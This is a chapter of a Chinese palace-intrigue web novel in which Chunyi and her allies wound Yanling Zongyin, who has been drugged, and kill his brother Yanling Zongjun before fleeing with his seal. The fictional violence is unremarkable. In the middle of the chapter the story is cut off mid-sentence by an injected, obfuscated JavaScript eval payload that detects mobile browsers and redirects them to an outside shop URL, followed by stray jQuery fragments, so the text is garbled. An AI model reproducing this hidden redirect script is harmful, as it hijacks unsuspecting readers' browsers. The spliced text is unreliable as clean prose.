57. 第 57 章

作品:《帝姬她不接受强取豪夺

    延陵宗隐吃痛,浑身肌肉瞬时紧绷。他的大掌从纯懿后腰滑到她身侧,将她坚定却轻柔地推了一把,自己顺势转身,高大的身躯拦在纯懿身前,密密实实将她护在身后,直面从背后给了他一刀的人。


    待看清眼前的袭击者是余晚飞,延陵宗隐明显一怔,短暂一瞬之后,他仿佛忽然被激怒的野兽,浑身杀意暴涨,那般战场上修炼出来的凶恶神情,将满心恨意的余晚飞都震得浑身一战,下意识后退半步。


    延陵宗隐不顾仍在他背上微微颤抖的刀柄,朝着余晚飞飞身扑去。他本就身形健壮,气势逼人,是虞娄最富有盛名的勇士,控制余晚飞这么一个半大少年,简直再轻易不过。


    余晚飞连还手之力都没有,甚至只是一眨眼的功夫,延陵宗隐就已经逼近了眼前。他蒲扇一般的大掌掐上他的脖颈,微微用力,就将余晚飞拎了起来。


    延陵宗隐黑眸眯起,冰冷的视线扫过余晚飞满含恨意的双眼,不顾他在半空中无助蹬踹的双脚,双手缓缓加了力道,将余晚飞提得更高。余晚飞的脸渐渐憋成了暗红色,延陵宗隐却没有一点儿要放过他的意思,仍旧在继续施力,就像一个没有感情的杀人武器。


    眼看着余晚飞已经开始眼白上翻,悬在空中的双脚也渐渐失了力气,再一会儿就要命丧当场,延陵宗隐忽然动作一顿,整个身躯都凝滞住一般,僵在原地。


    短暂的静止之后,他的身子又猛地一震,然后,他似乎终于回过了神,随手将余晚飞抛到一边,缓缓地、缓缓地转身,看向被他护在身后的纯懿。


    她刚刚还在与他争抢苹果的素净双手,现在却满是鲜血,正紧握着匕首颤抖着举在胸前,还保持着刚刚将匕首刺入他身体的姿势。


    延陵宗隐的视线从她的双手慢慢上移,与她目光相接。


    纯懿一双杏眸瞪的极大,里面满含着泪水,波光粼粼的,让他想到阳光下的桑干河,又让他想到有时被他欺负狠了,她红着眼睛,软着嗓子哀哀求他的可怜模样。可现在,这双水波潋滟的眼中,全是恨意和燃烧一切的疯狂,仿佛压抑了许久的情绪在此刻终于爆发,要拉着玉石俱焚一般。


    前几日被延陵宗隽捅的一刀还没好,甚至不久前,这伤口还被纯懿悉心上药,可转眼间,就被她亲手再次撕开,露出狰狞的血肉来。


    延陵宗隐只觉伤口传来一阵紧接着一阵的剧烈疼痛,这般明显细密的痛意顺着他的经脉抵达他的五脏六腑,连带着他的胸膛也一起疼痛难忍。与刚才看向余晚飞的愤恨不同,此刻,看着纯懿冷静的面庞,他的眼中终于失了向来的漠然,除了明显的震惊和恼怒,还有浓烈的不解和失望。


    千言万语撞击着胸膛,他却紧抿着双唇,什么也没说。延陵宗隐沉默着提起脚步,朝着纯懿大步而来,开始还有些迟缓,后来就越来越坚定,步伐也越来越大,几个迈步,就将纯懿逼退到墙角,躲无可躲。


    用身体阻挡了所有纯懿的逃脱可能,延陵宗隐伸出大掌,不顾纯懿胡乱挥舞的匕首在他胳膊上留下的血痕,一把就将匕首打落在地,然后五指成爪,对着纯懿抓来。


    余晚飞忽然出现在延陵宗隐身后。他飞身一扑,圈住延陵宗隐的脖子,整个人不管不顾,猛地跃上延陵宗隐宽阔的后背,将自己紧紧扒在延陵宗隐身上,一边用力锁着他的脖子,一边用膝盖对着延陵宗隐后心的伤口全力猛踢。


    很快,鲜血就染红了延陵宗隐身上蓝色的喜服,甚至顺着脊背肌□□壑缓缓而下,留下一条触目惊心的红色印记。


    延陵宗隐不得不分神去抵挡余晚飞的纠缠,纯懿抓到机会,也全身扑上,与余晚飞一人在前,一人再后,互相配合着与延陵宗隐缠斗。


    可延陵宗隐的战力着实强悍,就算他已是新伤旧伤交缠一身,还吃下了加料的苹果和茶水,纯懿和余晚飞两人拼尽了全力,也只能堪堪与他打成平手。


    屋内一阵乒乒乓乓的箱倒柜歪,屋外的人开始还以为是延陵宗隐动作激烈了一些,现在终于察觉出不对劲来。延陵宗隐今日过来行程隐秘,带的人也不多,只有一些绝对心腹的部曲才跟了来,此刻互相对视一眼,正准备往屋里冲,却忽然有一群身着黑衣、身形灵活的汉子从院墙跃入,一句话也不说,就挥刀冲着他们杀来。


    院外顿时也混战成一团。


    混乱起时,延陵宗隽正巧也在院里。他早知延陵宗隐不会任他揉圆搓扁,一直派人盯着他的一举一动,听闻延陵宗隐果然悄悄来了小院,专门算好了时间来堵人。


    此刻突然也被一并当做敌人,延陵宗隽着实懵了一阵儿,待看出那些黑衣人下手狠辣,见人就杀,一鼓作气要朝屋里冲,目标显然是延陵宗隐,他一向不太灵光的脑子今日却转的分外的快。


    他是太子,大王担心他夺权,就扶持了延陵宗隐来与他相斗,他看延陵宗隐不顺眼,担心他就势做大,可也不能让延陵宗隐死啊。延陵宗隐死了,自己作为太子没了制衡,他的父王再扶持一个兄弟还好,若是连他也一起干掉,重新立个好掌控的年幼太子,他要去哪里哭?


    延陵宗隽捋顺了思路,也顾不上算账啊看戏啊的,大喝一声,提着大刀就带头往里冲。


    延陵宗隽不甚聪敏,却很是勇武,拼命之下,还真被他冲进了屋中。待看清纠缠在一起的延陵宗隐、纯懿和余晚飞三人,大惊之后,延陵宗隽厉喝一声,举着大刀就朝纯懿劈去。


    一个全身肃黑的身影却忽然拦在延陵宗隽面前。那是刚刚带头杀进来的男人,延陵宗隽认得他那双冷静明亮的眼睛。


    他身形高瘦,武艺基础不甚扎实,却胜在招式灵巧,转身腾挪潇洒利落,毫不拖泥带水。用手中大刀抵住延陵宗隽的攻势之后,可能是粗笨的大刀不合手感,他忽然弃了大刀,从腰间抽出一柄软剑,擦着延陵宗隽的刀锋闪身而过,剑刃已经迅速缠上了延陵宗隽持刀的手。


    屋外众人混战,屋内三三两两各成一组,皆是舍命相搏。


    早在黑衣人出现的一刻起,纯懿立刻就认出了陆双昂那熟悉的身影,在帮余晚飞制着延陵宗隐的同时,她一直在关注着陆双昂和延陵宗隽那边的情况。


    陆双昂本来就没有从小勤练武艺,今日可能是因为要躲过城内重重守卫,现在又全力交手,陆双昂体力消耗很大,渐渐体力不支,轻巧的行动明显减缓了许多。延陵宗隽得了鼓舞,大喝几声,攻势越来越猛,慢慢将陆双昂逼得没有还手之力,只能勉力格挡。


    而这边,因着药效慢慢发作,延陵宗隐反而动作不再那么强势有力,漆黑的双眸也渐渐染上一层朦胧,唇边竟然还咳出了血来。纯懿和余晚飞两人与他相斗,终于微微占了上风,可以稍稍松一口气。


    再坚持一会儿,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008357|133831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    延陵宗隐的脚步虚浮,反抗愈发无力,甚至不怎么用纯懿帮忙,余晚飞一人也可以制住他。


    纯懿看看身体摇晃、终于单膝重重跪地的延陵宗隐,又看看那边愈战愈勇、怪叫连连的延陵宗隽,咬了咬牙,忽然捡起被延陵宗隐打落的匕首,就冲着延陵宗隽冲去。


    陆双昂与纯懿心有灵犀,只要一个眼神对视,立刻就能明白对方的心意。陆双昂酸软的隔壁猛然爆发出一股蛮力,将延陵宗隽打了个措手不及,引着他渐渐背对纯懿的方向。而纯懿脚步极轻,动作迅速,在陆双昂将延陵宗隽逼得低头躲避时骤然飞扑,手里匕首狠狠插进他的脖颈。


    匕首穿脖而过。


    与纯懿同一时刻,陆双昂反手一挥,软剑也贯穿了延陵宗隽的胸膛。


    延陵宗隽双眼瞪得如同牛眼,不敢置信地看着一前一后连神情都几乎一致的两人,喉咙“荷荷”两声,就着喷涌的血沫,魁梧的身躯重重倒地,再也不动了。


    纯懿从来都没有如此清醒。她动作飞快,也不顾血污,弯腰从延陵宗隽脖颈上拔出匕首,回身就朝着延陵宗隐扑去。


    延陵宗隐眼看着那把满粘血污却仍冒着寒光的匕首朝他狠力挥下,映在刀面上的,是纯懿一双明亮中带着疯狂的眼。


    他集聚了全身的力量,骤然大喝一声,甩开余晚飞,就地一滚,避开了这致命一击。


    纯懿扑了个空,立刻回身,高举匕首追着他而来。就在这时,这座小院里的异常终于吸引了巡城兵士的注意。敲门未果之后,他们猛然踹开房门,一大堆荷甲提枪的虞娄兵士一拥而入。


    局势立刻逆转。


    陆双昂明白今日已没有可能杀尽院中的虞娄人,现在之计,只能在城门处还没有收到消息时抓紧出城。他飞身上前,从后揽住几近疯狂的纯懿,抱着她的腰,强行将她朝门口的方向拖。


    “琅琅,我们走!”


    落入熟悉的怀抱里,纯懿仍旧在疯狂挣扎着,不断朝着延陵宗隐的方向扑,犹如魔怔了般,嘴里不住喃喃:“我要杀了他,昂哥哥,别拦我,我要杀了他!”


    “琅琅,走!”陆双昂使劲将她拽离半躺于地的纯懿,“他中了毒,活不了了!我们快走!”


    “不行,我不放心,昂哥哥,你不知道他有多可怕,不亲眼看他死掉,我决不能放心!”


    “琅琅!”


    不管陆双昂如何软硬兼施,纯懿只一心认定了要延陵宗隐死。陆双昂看看不住倒下的属下,在纯懿耳边急声道:“琅琅,贤宁在等你!”


    纯懿动作猛然僵住。她怔怔重复:“贤宁?”


    “对,是贤宁,是你拼尽全力救下来的贤宁。她现在就在南庆大军之中,我不在,就是她暂代主帅。”陆双昂直视着纯懿的眼睛,温声道,“不止贤宁,孟大人去救其他人了,还有永嘉,她也在等着你!”


    “琅琅,我们走!快走!”


    纯懿停了所有挣扎,顺从任凭陆双昂半拖半抱带她离开,视线却一直牢牢盯着渐渐不能动弹的延陵宗隐。与他沉寂阴鸷的眼神相接,纯懿忽然回神,又喊了停。


    她冲过去,将手伸进延陵宗隐胸前,摸索半天,掏出一枚小小的印章来。


    “这是郎主私印。”纯懿奔向陆双昂,牵起他的手,“我们走。”


    翻墙跃出,纯懿再没有回头。